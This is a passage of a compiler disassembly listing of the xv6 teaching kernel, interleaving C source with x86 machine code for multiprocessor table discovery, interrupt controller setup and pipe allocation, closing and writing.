80102feb: e8 80 15 00 00 call 80104570 <memcmp>
80102ff0: 85 c0 test %eax,%eax
80102ff2: 75 16 jne 8010300a <mpsearch1+0x4a>
80102ff4: 31 c9 xor %ecx,%ecx
80102ff6: 31 d2 xor %edx,%edx
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
sum += addr[i];
80102ff8: 0f b6 04 16 movzbl (%esi,%edx,1),%eax
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80102ffc: 83 c2 01 add $0x1,%edx
sum += addr[i];
80102fff: 01 c1 add %eax,%ecx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80103001: 83 fa 10 cmp $0x10,%edx
80103004: 75 f2 jne 80102ff8 <mpsearch1+0x38>
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80103006: 84 c9 test %cl,%cl
80103008: 74 10 je 8010301a <mpsearch1+0x5a>
{
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
8010300a: 83 c6 10 add $0x10,%esi
8010300d: 39 f3 cmp %esi,%ebx
8010300f: 77 c7 ja 80102fd8 <mpsearch1+0x18>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
}
80103011: 83 c4 10 add $0x10,%esp
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80103014: 31 c0 xor %eax,%eax
}
80103016: 5b pop %ebx
80103017: 5e pop %esi
80103018: 5d pop %ebp
80103019: c3 ret
8010301a: 83 c4 10 add $0x10,%esp
8010301d: 89 f0 mov %esi,%eax
8010301f: 5b pop %ebx
80103020: 5e pop %esi
80103021: 5d pop %ebp
80103022: c3 ret
80103023: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103029: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103030 <mpinit>:
return conf;
}
void
mpinit(void)
{
80103030: 55 push %ebp
80103031: 89 e5 mov %esp,%ebp
80103033: 57 push %edi
80103034: 56 push %esi
80103035: 53 push %ebx
80103036: 83 ec 1c sub $0x1c,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80103039: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80103040: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80103047: c1 e0 08 shl $0x8,%eax
8010304a: 09 d0 or %edx,%eax
8010304c: c1 e0 04 shl $0x4,%eax
8010304f: 85 c0 test %eax,%eax
80103051: 75 1b jne 8010306e <mpinit+0x3e>
if((mp = mpsearch1(p, 1024)))
return mp;
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103053: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
8010305a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80103061: c1 e0 08 shl $0x8,%eax
80103064: 09 d0 or %edx,%eax
80103066: c1 e0 0a shl $0xa,%eax
if((mp = mpsearch1(p-1024, 1024)))
80103069: 2d 00 04 00 00 sub $0x400,%eax
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
if((mp = mpsearch1(p, 1024)))
8010306e: ba 00 04 00 00 mov $0x400,%edx
80103073: e8 48 ff ff ff call 80102fc0 <mpsearch1>
80103078: 85 c0 test %eax,%eax
8010307a: 89 c7 mov %eax,%edi
8010307c: 0f 84 4e 01 00 00 je 801031d0 <mpinit+0x1a0>
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103082: 8b 77 04 mov 0x4(%edi),%esi
80103085: 85 f6 test %esi,%esi
80103087: 0f 84 ce 00 00 00 je 8010315b <mpinit+0x12b>
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
8010308d: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
if(memcmp(conf, "PCMP", 4) != 0)
80103093: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
8010309a: 00
8010309b: c7 44 24 04 cd 74 10 movl $0x801074cd,0x4(%esp)
801030a2: 80
801030a3: 89 04 24 mov %eax,(%esp)
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
801030a6: 89 45 e4 mov %eax,-0x1c(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
801030a9: e8 c2 14 00 00 call 80104570 <memcmp>
801030ae: 85 c0 test %eax,%eax
801030b0: 0f 85 a5 00 00 00 jne 8010315b <mpinit+0x12b>
return 0;
if(conf->version != 1 && conf->version != 4)
801030b6: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax
801030bd: 3c 04 cmp $0x4,%al
801030bf: 0f 85 29 01 00 00 jne 801031ee <mpinit+0x1be>
return 0;
if(sum((uchar*)conf, conf->length) != 0)
801030c5: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801030cc: 85 c0 test %eax,%eax
801030ce: 74 1d je 801030ed <mpinit+0xbd>
static uchar
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
801030d0: 31 c9 xor %ecx,%ecx
for(i=0; i<len; i++)
801030d2: 31 d2 xor %edx,%edx
801030d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sum += addr[i];
801030d8: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx
801030df: 80
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801030e0: 83 c2 01 add $0x1,%edx
sum += addr[i];
801030e3: 01 d9 add %ebx,%ecx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801030e5: 39 d0 cmp %edx,%eax
801030e7: 7f ef jg 801030d8 <mpinit+0xa8>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
if(memcmp(conf, "PCMP", 4) != 0)
return 0;
if(conf->version != 1 && conf->version != 4)
return 0;
if(sum((uchar*)conf, conf->length) != 0)
801030e9: 84 c9 test %cl,%cl
801030eb: 75 6e jne 8010315b <mpinit+0x12b>
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
801030ed: 8b 5d e4 mov -0x1c(%ebp),%ebx
801030f0: 85 db test %ebx,%ebx
801030f2: 74 67 je 8010315b <mpinit+0x12b>
return;
ismp = 1;
801030f4: c7 05 84 27 11 80 01 movl $0x1,0x80112784
801030fb: 00 00 00
lapic = (uint*)conf->lapicaddr;
801030fe: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax
80103104: a3 9c 26 11 80 mov %eax,0x8011269c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103109: 0f b7 8e 04 00 00 80 movzwl -0x7ffffffc(%esi),%ecx
80103110: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax
80103116: 01 d9 add %ebx,%ecx
80103118: 39 c8 cmp %ecx,%eax
8010311a: 0f 83 90 00 00 00 jae 801031b0 <mpinit+0x180>
switch(*p){
80103120: 80 38 04 cmpb $0x4,(%eax)
80103123: 77 7b ja 801031a0 <mpinit+0x170>
80103125: 0f b6 10 movzbl (%eax),%edx
80103128: ff 24 95 d4 74 10 80 jmp *-0x7fef8b2c(,%edx,4)
8010312f: 90 nop
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103130: 83 c0 08 add $0x8,%eax
if((conf = mpconfig(&mp)) == 0)
return;
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103133: 39 c1 cmp %eax,%ecx
80103135: 77 e9 ja 80103120 <mpinit+0xf0>
default:
ismp = 0;
break;
}
}
if(!ismp){
80103137: a1 84 27 11 80 mov 0x80112784,%eax
8010313c: 85 c0 test %eax,%eax
8010313e: 75 70 jne 801031b0 <mpinit+0x180>
// Didn't like what we found; fall back to no MP.
ncpu = 1;
80103140: c7 05 80 2d 11 80 01 movl $0x1,0x80112d80
80103147: 00 00 00
lapic = 0;
8010314a: c7 05 9c 26 11 80 00 movl $0x0,0x8011269c
80103151: 00 00 00
ioapicid = 0;
80103154: c6 05 80 27 11 80 00 movb $0x0,0x80112780
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
}
}
8010315b: 83 c4 1c add $0x1c,%esp
8010315e: 5b pop %ebx
8010315f: 5e pop %esi
80103160: 5f pop %edi
80103161: 5d pop %ebp
80103162: c3 ret
80103163: 90 nop
80103164: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
case MPPROC:
proc = (struct mpproc*)p;
if(ncpu < NCPU) {
80103168: 8b 15 80 2d 11 80 mov 0x80112d80,%edx
8010316e: 83 fa 07 cmp $0x7,%edx
80103171: 7f 17 jg 8010318a <mpinit+0x15a>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103173: 0f b6 58 01 movzbl 0x1(%eax),%ebx
80103177: 69 d2 bc 00 00 00 imul $0xbc,%edx,%edx
ncpu++;
8010317d: 83 05 80 2d 11 80 01 addl $0x1,0x80112d80
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
case MPPROC:
proc = (struct mpproc*)p;
if(ncpu < NCPU) {
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103184: 88 9a a0 27 11 80 mov %bl,-0x7feed860(%edx)
ncpu++;
}
p += sizeof(struct mpproc);
8010318a: 83 c0 14 add $0x14,%eax
continue;
8010318d: eb a4 jmp 80103133 <mpinit+0x103>
8010318f: 90 nop
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ioapicid = ioapic->apicno;
80103190: 0f b6 50 01 movzbl 0x1(%eax),%edx
p += sizeof(struct mpioapic);
80103194: 83 c0 08 add $0x8,%eax
}
p += sizeof(struct mpproc);
continue;
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ioapicid = ioapic->apicno;
80103197: 88 15 80 27 11 80 mov %dl,0x80112780
p += sizeof(struct mpioapic);
continue;
8010319d: eb 94 jmp 80103133 <mpinit+0x103>
8010319f: 90 nop
case MPIOINTR:
case MPLINTR:
p += 8;
continue;
default:
ismp = 0;
801031a0: c7 05 84 27 11 80 00 movl $0x0,0x80112784
801031a7: 00 00 00
break;
801031aa: eb 87 jmp 80103133 <mpinit+0x103>
801031ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
lapic = 0;
ioapicid = 0;
return;
}
if(mp->imcrp){
801031b0: 80 7f 0c 00 cmpb $0x0,0xc(%edi)
801031b4: 74 a5 je 8010315b <mpinit+0x12b>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801031b6: ba 22 00 00 00 mov $0x22,%edx
801031bb: b8 70 00 00 00 mov $0x70,%eax
801031c0: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801031c1: b2 23 mov $0x23,%dl
801031c3: ec in (%dx),%al
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
801031c4: 83 c8 01 or $0x1,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801031c7: ee out %al,(%dx)
}
}
801031c8: 83 c4 1c add $0x1c,%esp
801031cb: 5b pop %ebx
801031cc: 5e pop %esi
801031cd: 5f pop %edi
801031ce: 5d pop %ebp
801031cf: c3 ret
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
801031d0: ba 00 00 01 00 mov $0x10000,%edx
801031d5: b8 00 00 0f 00 mov $0xf0000,%eax
801031da: e8 e1 fd ff ff call 80102fc0 <mpsearch1>
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801031df: 85 c0 test %eax,%eax
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
801031e1: 89 c7 mov %eax,%edi
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801031e3: 0f 85 99 fe ff ff jne 80103082 <mpinit+0x52>
801031e9: e9 6d ff ff ff jmp 8010315b <mpinit+0x12b>
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
if(memcmp(conf, "PCMP", 4) != 0)
return 0;
if(conf->version != 1 && conf->version != 4)
801031ee: 3c 01 cmp $0x1,%al
801031f0: 0f 84 cf fe ff ff je 801030c5 <mpinit+0x95>
801031f6: e9 60 ff ff ff jmp 8010315b <mpinit+0x12b>
801031fb: 66 90 xchg %ax,%ax
801031fd: 66 90 xchg %ax,%ax
801031ff: 90 nop
80103200 <picenable>:
80103200: 55 push %ebp
80103201: b8 fe ff ff ff mov $0xfffffffe,%eax
80103206: ba 21 00 00 00 mov $0x21,%edx
8010320b: 89 e5 mov %esp,%ebp
8010320d: 8b 4d 08 mov 0x8(%ebp),%ecx
80103210: d3 c0 rol %cl,%eax
80103212: 66 23 05 00 a0 10 80 and 0x8010a000,%ax
80103219: 66 a3 00 a0 10 80 mov %ax,0x8010a000
8010321f: ee out %al,(%dx)
80103220: ba a1 00 00 00 mov $0xa1,%edx
80103225: 66 c1 e8 08 shr $0x8,%ax
80103229: ee out %al,(%dx)
8010322a: 5d pop %ebp
8010322b: c3 ret
8010322c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103230 <picinit>:
80103230: 55 push %ebp
80103231: b8 ff ff ff ff mov $0xffffffff,%eax
80103236: 89 e5 mov %esp,%ebp
80103238: 57 push %edi
80103239: 56 push %esi
8010323a: 53 push %ebx
8010323b: bb 21 00 00 00 mov $0x21,%ebx
80103240: 89 da mov %ebx,%edx
80103242: ee out %al,(%dx)
80103243: b9 a1 00 00 00 mov $0xa1,%ecx
80103248: 89 ca mov %ecx,%edx
8010324a: ee out %al,(%dx)
8010324b: bf 11 00 00 00 mov $0x11,%edi
80103250: be 20 00 00 00 mov $0x20,%esi
80103255: 89 f8 mov %edi,%eax
80103257: 89 f2 mov %esi,%edx
80103259: ee out %al,(%dx)
8010325a: b8 20 00 00 00 mov $0x20,%eax
8010325f: 89 da mov %ebx,%edx
80103261: ee out %al,(%dx)
80103262: b8 04 00 00 00 mov $0x4,%eax
80103267: ee out %al,(%dx)
80103268: b8 03 00 00 00 mov $0x3,%eax
8010326d: ee out %al,(%dx)
8010326e: bb a0 00 00 00 mov $0xa0,%ebx
80103273: 89 f8 mov %edi,%eax
80103275: 89 da mov %ebx,%edx
80103277: ee out %al,(%dx)
80103278: b8 28 00 00 00 mov $0x28,%eax
8010327d: 89 ca mov %ecx,%edx
8010327f: ee out %al,(%dx)
80103280: b8 02 00 00 00 mov $0x2,%eax
80103285: ee out %al,(%dx)
80103286: b8 03 00 00 00 mov $0x3,%eax
8010328b: ee out %al,(%dx)
8010328c: bf 68 00 00 00 mov $0x68,%edi
80103291: 89 f2 mov %esi,%edx
80103293: 89 f8 mov %edi,%eax
80103295: ee out %al,(%dx)
80103296: b9 0a 00 00 00 mov $0xa,%ecx
8010329b: 89 c8 mov %ecx,%eax
8010329d: ee out %al,(%dx)
8010329e: 89 f8 mov %edi,%eax
801032a0: 89 da mov %ebx,%edx
801032a2: ee out %al,(%dx)
801032a3: 89 c8 mov %ecx,%eax
801032a5: ee out %al,(%dx)
801032a6: 0f b7 05 00 a0 10 80 movzwl 0x8010a000,%eax
801032ad: 66 83 f8 ff cmp $0xffff,%ax
801032b1: 74 10 je 801032c3 <picinit+0x93>
801032b3: ba 21 00 00 00 mov $0x21,%edx
801032b8: ee out %al,(%dx)
801032b9: ba a1 00 00 00 mov $0xa1,%edx
801032be: 66 c1 e8 08 shr $0x8,%ax
801032c2: ee out %al,(%dx)
801032c3: 5b pop %ebx
801032c4: 5e pop %esi
801032c5: 5f pop %edi
801032c6: 5d pop %ebp
801032c7: c3 ret
801032c8: 66 90 xchg %ax,%ax
801032ca: 66 90 xchg %ax,%ax
801032cc: 66 90 xchg %ax,%ax
801032ce: 66 90 xchg %ax,%ax
801032d0 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
801032d0: 55 push %ebp
801032d1: 89 e5 mov %esp,%ebp
801032d3: 57 push %edi
801032d4: 56 push %esi
801032d5: 53 push %ebx
801032d6: 83 ec 1c sub $0x1c,%esp
801032d9: 8b 75 08 mov 0x8(%ebp),%esi
801032dc: 8b 5d 0c mov 0xc(%ebp),%ebx
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
801032df: c7 03 00 00 00 00 movl $0x0,(%ebx)
801032e5: c7 06 00 00 00 00 movl $0x0,(%esi)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
801032eb: e8 80 da ff ff call 80100d70 <filealloc>
801032f0: 85 c0 test %eax,%eax
801032f2: 89 06 mov %eax,(%esi)
801032f4: 0f 84 a4 00 00 00 je 8010339e <pipealloc+0xce>
801032fa: e8 71 da ff ff call 80100d70 <filealloc>
801032ff: 85 c0 test %eax,%eax
80103301: 89 03 mov %eax,(%ebx)
80103303: 0f 84 87 00 00 00 je 80103390 <pipealloc+0xc0>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103309: e8 92 f1 ff ff call 801024a0 <kalloc>
8010330e: 85 c0 test %eax,%eax
80103310: 89 c7 mov %eax,%edi
80103312: 74 7c je 80103390 <pipealloc+0xc0>
goto bad;
p->readopen = 1;
80103314: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
8010331b: 00 00 00
p->writeopen = 1;
8010331e: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
80103325: 00 00 00
p->nwrite = 0;
80103328: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
8010332f: 00 00 00
p->nread = 0;
80103332: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80103339: 00 00 00
initlock(&p->lock, "pipe");
8010333c: 89 04 24 mov %eax,(%esp)
8010333f: c7 44 24 04 e8 74 10 movl $0x801074e8,0x4(%esp)
80103346: 80
80103347: e8 d4 0f 00 00 call 80104320 <initlock>
(*f0)->type = FD_PIPE;
8010334c: 8b 06 mov (%esi),%eax
8010334e: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
80103354: 8b 06 mov (%esi),%eax
80103356: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
8010335a: 8b 06 mov (%esi),%eax
8010335c: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
80103360: 8b 06 mov (%esi),%eax
80103362: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
80103365: 8b 03 mov (%ebx),%eax
80103367: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
8010336d: 8b 03 mov (%ebx),%eax
8010336f: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80103373: 8b 03 mov (%ebx),%eax
80103375: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80103379: 8b 03 mov (%ebx),%eax
return 0;
8010337b: 31 db xor %ebx,%ebx
(*f0)->writable = 0;
(*f0)->pipe = p;
(*f1)->type = FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
8010337d: 89 78 0c mov %edi,0xc(%eax)
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
}
80103380: 83 c4 1c add $0x1c,%esp
80103383: 89 d8 mov %ebx,%eax
80103385: 5b pop %ebx
80103386: 5e pop %esi
80103387: 5f pop %edi
80103388: 5d pop %ebp
80103389: c3 ret
8010338a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
//PAGEBREAK: 20
bad:
if(p)
kfree((char*)p);
if(*f0)
80103390: 8b 06 mov (%esi),%eax
80103392: 85 c0 test %eax,%eax
80103394: 74 08 je 8010339e <pipealloc+0xce>
fileclose(*f0);
80103396: 89 04 24 mov %eax,(%esp)
80103399: e8 92 da ff ff call 80100e30 <fileclose>
if(*f1)
8010339e: 8b 03 mov (%ebx),%eax
fileclose(*f1);
return -1;
801033a0: bb ff ff ff ff mov $0xffffffff,%ebx
bad:
if(p)
kfree((char*)p);
if(*f0)
fileclose(*f0);
if(*f1)
801033a5: 85 c0 test %eax,%eax
801033a7: 74 d7 je 80103380 <pipealloc+0xb0>
fileclose(*f1);
801033a9: 89 04 24 mov %eax,(%esp)
801033ac: e8 7f da ff ff call 80100e30 <fileclose>
return -1;
}
801033b1: 83 c4 1c add $0x1c,%esp
801033b4: 89 d8 mov %ebx,%eax
801033b6: 5b pop %ebx
801033b7: 5e pop %esi
801033b8: 5f pop %edi
801033b9: 5d pop %ebp
801033ba: c3 ret
801033bb: 90 nop
801033bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801033c0 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
801033c0: 55 push %ebp
801033c1: 89 e5 mov %esp,%ebp
801033c3: 56 push %esi
801033c4: 53 push %ebx
801033c5: 83 ec 10 sub $0x10,%esp
801033c8: 8b 5d 08 mov 0x8(%ebp),%ebx
801033cb: 8b 75 0c mov 0xc(%ebp),%esi
acquire(&p->lock);
801033ce: 89 1c 24 mov %ebx,(%esp)
801033d1: e8 ca 0f 00 00 call 801043a0 <acquire>
if(writable){
801033d6: 85 f6 test %esi,%esi
801033d8: 74 3e je 80103418 <pipeclose+0x58>
p->writeopen = 0;
wakeup(&p->nread);
801033da: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
void
pipeclose(struct pipe *p, int writable)
{
acquire(&p->lock);
if(writable){
p->writeopen = 0;
801033e0: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
801033e7: 00 00 00
wakeup(&p->nread);
801033ea: 89 04 24 mov %eax,(%esp)
801033ed: e8 5e 0c 00 00 call 80104050 <wakeup>
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
801033f2: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
801033f8: 85 d2 test %edx,%edx
801033fa: 75 0a jne 80103406 <pipeclose+0x46>
801033fc: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
80103402: 85 c0 test %eax,%eax
80103404: 74 32 je 80103438 <pipeclose+0x78>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
80103406: 89 5d 08 mov %ebx,0x8(%ebp)
}
80103409: 83 c4 10 add $0x10,%esp
8010340c: 5b pop %ebx
8010340d: 5e pop %esi
8010340e: 5d pop %ebp
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
8010340f: e9 bc 10 00 00 jmp 801044d0 <release>
80103414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(writable){
p->writeopen = 0;
wakeup(&p->nread);
} else {
p->readopen = 0;
wakeup(&p->nwrite);
80103418: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
acquire(&p->lock);
if(writable){
p->writeopen = 0;
wakeup(&p->nread);
} else {
p->readopen = 0;
8010341e: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
80103425: 00 00 00
wakeup(&p->nwrite);
80103428: 89 04 24 mov %eax,(%esp)
8010342b: e8 20 0c 00 00 call 80104050 <wakeup>
80103430: eb c0 jmp 801033f2 <pipeclose+0x32>
80103432: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
80103438: 89 1c 24 mov %ebx,(%esp)
8010343b: e8 90 10 00 00 call 801044d0 <release>
kfree((char*)p);
80103440: 89 5d 08 mov %ebx,0x8(%ebp)
} else
release(&p->lock);
}
80103443: 83 c4 10 add $0x10,%esp
80103446: 5b pop %ebx
80103447: 5e pop %esi
80103448: 5d pop %ebp
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
80103449: e9 a2 ee ff ff jmp 801022f0 <kfree>
8010344e: 66 90 xchg %ax,%ax
80103450 <pipewrite>:
}
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
80103450: 55 push %ebp
80103451: 89 e5 mov %esp,%ebp
80103453: 57 push %edi
80103454: 56 push %esi
80103455: 53 push %ebx
80103456: 83 ec 1c sub $0x1c,%esp
80103459: 8b 7d 08 mov 0x8(%ebp),%edi
int i;
acquire(&p->lock);
8010345c: 89 3c 24 mov %edi,(%esp)
8010345f: e8 3c 0f 00 00 call 801043a0 <acquire>
for(i = 0; i < n; i++){
80103464: 8b 45 10 mov 0x10(%ebp),%eax
80103467: 85 c0 test %eax,%eax
80103469: 0f 8e c2 00 00 00 jle 80103531 <pipewrite+0xe1>
8010346f: 8b 45 0c mov 0xc(%ebp),%eax
80103472: 8d b7 34 02 00 00 lea 0x234(%edi),%esi
80103478: 8b 8f 38 02 00 00 mov 0x238(%edi),%ecx
8010347e: 8d 9f 38 02 00 00 lea 0x238(%edi),%ebx
80103484: 89 45 e4 mov %eax,-0x1c(%ebp)
80103487: 03 45 10 add 0x10(%ebp),%eax
8010348a: 89 45 e0 mov %eax,-0x20(%ebp)
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
8010348d: 8b 87 34 02 00 00 mov 0x234(%edi),%eax
80103493: 8d 90 00 02 00 00 lea 0x200(%eax),%edx
80103499: 39 d1 cmp %edx,%ecx
8010349b: 0f 85 c4 00 00 00 jne 80103565 <pipewrite+0x115>
if(p->readopen == 0 || proc->killed){
801034a1: 8b 97 3c 02 00 00 mov 0x23c(%edi),%edx
801034a7: 85 d2 test %edx,%edx
801034a9: 0f 84 a1 00 00 00 je 80103550 <pipewrite+0x100>
801034af: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801034b6: 8b 42 24 mov 0x24(%edx),%eax
801034b9: 85 c0 test %eax,%eax
801034bb: 74 22 je 801034df <pipewrite+0x8f>
801034bd: e9 8e 00 00 00 jmp 80103550 <pipewrite+0x100>
801034c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801034c8: 8b 87 3c 02 00 00 mov 0x23c(%edi),%eax
801034ce: 85 c0 test %eax,%eax
801034d0: 74 7e je 80103550 <pipewrite+0x100>
801034d2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801034d8: 8b 48 24 mov 0x24(%eax),%ecx
801034db: 85 c9 test %ecx,%ecx
801034dd: 75 71 jne 80103550 <pipewrite+0x100>
release(&p->lock);
return -1;
}
wakeup(&p->nread);
801034df: 89 34 24 mov %esi,(%esp)
801034e2: e8 69 0b 00 00 call 80104050 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
801034e7: 89 7c 24 04 mov %edi,0x4(%esp)
801034eb: 89 1c 24 mov %ebx,(%esp)
801034ee: e8 ad 09 00 00 call 80103ea0 <sleep>
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
801034f3: 8b 87 34 02 00 00 mov 0x234(%edi),%eax
801034f9: 8b 97 38 02 00 00 mov 0x238(%edi),%edx
801034ff: 05 00 02 00 00 add $0x200,%eax
80103504: 39 c2 cmp %eax,%edx
80103506: 74 c0 je 801034c8 <pipewrite+0x78>
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
80103508: 8b 45 e4 mov -0x1c(%ebp),%eax
8010350b: 8d 4a 01 lea 0x1(%edx),%ecx
8010350e: 81 e2 ff 01 00 00 and $0x1ff,%edx
80103514: 89 8f 38 02 00 00 mov %ecx,0x238(%edi)
8010351a: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
8010351e: 0f b6 00 movzbl (%eax),%eax
80103521: 88 44 17 34 mov %al,0x34(%edi,%edx,1)
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
80103525: 8b 45 e4 mov -0x1c(%ebp),%eax
80103528: 3b 45 e0 cmp -0x20(%ebp),%eax
8010352b: 0f 85 5c ff ff ff jne 8010348d <pipewrite+0x3d>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
